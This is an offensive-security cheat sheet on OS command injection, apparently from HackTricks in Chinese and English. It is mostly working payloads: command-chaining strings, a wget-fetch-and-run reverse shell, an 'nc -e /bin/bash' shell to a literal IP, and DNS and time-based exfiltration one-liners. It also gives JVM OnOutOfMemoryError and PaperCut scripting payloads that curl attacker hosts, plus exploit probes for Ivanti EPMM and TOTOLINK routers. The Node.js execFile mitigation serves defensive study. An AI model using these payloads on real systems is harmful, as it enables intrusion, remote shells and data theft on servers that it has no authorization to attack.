Command Injection
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 command Injection?
A command injection permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application’s environment and underlying system.
上下文
Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
限制 绕过
如果你想在 arbitrary commands inside a linux machine 中执行任意命令,你会对阅读这些 Bypasses: 感兴趣:
示例
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash arithmetic evaluation in RewriteMap/CGI-style scripts
用 bash 编写的 RewriteMap helpers 有时会将查询参数放入全局变量,然后在 算术上下文 中进行比较([[ $a -gt $b ]], $((...)), let)。算术扩展会重新分词内容,所以由攻击者控制的变量名或数组引用会被展开两次并可能被执行。
Pattern seen in Ivanti EPMM RewriteMap helpers:
- 参数映射到全局变量 (
st→gStartTime,h→theValue). - 随后检查:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- 发送
st=theValue,使gStartTime指向字符串theValue。 - 发送
h=gPath['sleep 5'],使theValue包含一个数组索引;在算术检查期间会执行sleep 5(替换为真实载荷)。
探测(如果存在漏洞,约 5 秒延迟然后返回 404):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
说明:
- 在其他前缀下查找相同的辅助程序(例如,
/mifs/c/aftstore/fob/)。 - 在算术上下文中,未知标记会被视为变量/数组标识符,因此这可以绕过简单的元字符过滤器。
参数
以下是可能易受 code injection 和类似 RCE 漏洞影响的前 25 个参数(来自 link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
提取数据:char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
基于 DNS 的 data exfiltration
基于工具 https://github.com/HoLyVieR/dnsbin,也托管于 dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
用于检查 DNS based data exfiltration 的在线工具:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec 与 execFile
在审计 JavaScript/TypeScript 后端时,通常会遇到 Node.js 的 child_process API。
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() 会启动一个 shell (/bin/sh -c),因此任何对 shell 有特殊含义的字符(反引号、;、&&、|、$()、…)在将用户输入拼接到字符串时都会导致 command injection。
缓解: 使用 execFile()(或在不使用 shell 选项的情况下使用 spawn())并以 每个参数作为单独的数组元素 的方式提供参数,这样就不会涉及 shell:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
并非所有注入都需要 shell 元字符。如果应用把不受信任的字符串作为参数传给系统工具(即使通过 execve/execFile 并且没有 shell),许多程序仍会将任何以 - 或 -- 开头的参数解析为选项。攻击者可以利用这一点切换模式、改变输出路径或触发危险行为,而无需进入 shell。
典型出现位置:
- 嵌入式 web UIs/CGI 处理程序,它们构建类似
ping <user>、tcpdump -i <iface> -w <file>、curl <url>等命令。 - 集中式 CGI 路由(例如,带有类似
topicurl=<handler>选择参数的/cgi-bin/<something>.cgi),多个处理程序重用相同的脆弱校验器时会出现该问题。
可尝试的方法:
- 提供以
-/--开头的值,供下游工具作为标志解析。 - 滥用会改变行为或写文件的标志,例如:
ping:-f/-c 100000用于压垮设备(DoS)curl:-o /tmp/x用于写入任意路径,-K <url>用于加载攻击者控制的配置tcpdump:-G 1 -W 1 -z /path/script.sh在不安全的包装器中实现轮转后执行
- 如果程序支持
--结束选项,尝试绕过那些在错误位置添加--的简单缓解措施。
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM 诊断回调以保证执行
任何允许你 注入 JVM 命令行参数(_JAVA_OPTIONS、launcher 配置文件、桌面 agent 中的 AdditionalJavaArguments 字段等)的原语,都可以在不修改应用字节码的情况下被转成可靠的 RCE:
- 通过缩小 metaspace 或 heap 强制确定性崩溃:
-XX:MaxMetaspaceSize=16m(或一个很小的-Xmx)。这会在早期引导期间也确保出现OutOfMemoryError。 - 附加错误钩子:
-XX:OnOutOfMemoryError="<cmd>"或-XX:OnError="<cmd>"会在 JVM 崩溃时执行任意 OS 命令。 - 可选地添加
-XX:+CrashOnOutOfMemoryError来避免恢复尝试,使 payload 变成一次性。
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
因为这些诊断由 JVM 自身解析,所以不需要 shell metacharacters,命令以与 launcher 相同的完整性级别运行。Desktop IPC bugs 将转发用户提供的 JVM flags(见 Localhost WebSocket abuse),因此可直接转化为 OS command execution。
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Vulnerable NG/MF builds(例如 22.0.5 Build 63914)暴露
/app?service=page/SetupCompleted;在该页面点击 Login 会在不提供凭证的情况下返回有效的JSESSIONID(setup 流程中的 authentication bypass)。 - 在 Options → Config Editor 中,将
print-and-device.script.enabled=Y和print.script.sandboxed=N设置为启用 printer scripting 并禁用 sandbox。 - 在打印机的 Scripting 选项卡中,启用脚本并保持
printJobHook已定义以避免验证错误,但将 payload 放在函数 外部,这样在点击 Apply 时会立即执行(不需要打印任务):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
-
将 callback 换成 reverse shell;如果 UI/PoC 无法处理 pipes/redirects,就用一条命令把 payload stage 好,然后用第二次 request 来 exec。
-
Horizon3 的 CVE-2023-27350.py 自动化了 auth bypass、config flips、command execution 和 rollback —— 当服务仅在内部可达时,通过上游代理(例如
proxychains→ Squid)运行它。
Brute-Force 检测列表
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
参考资料
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


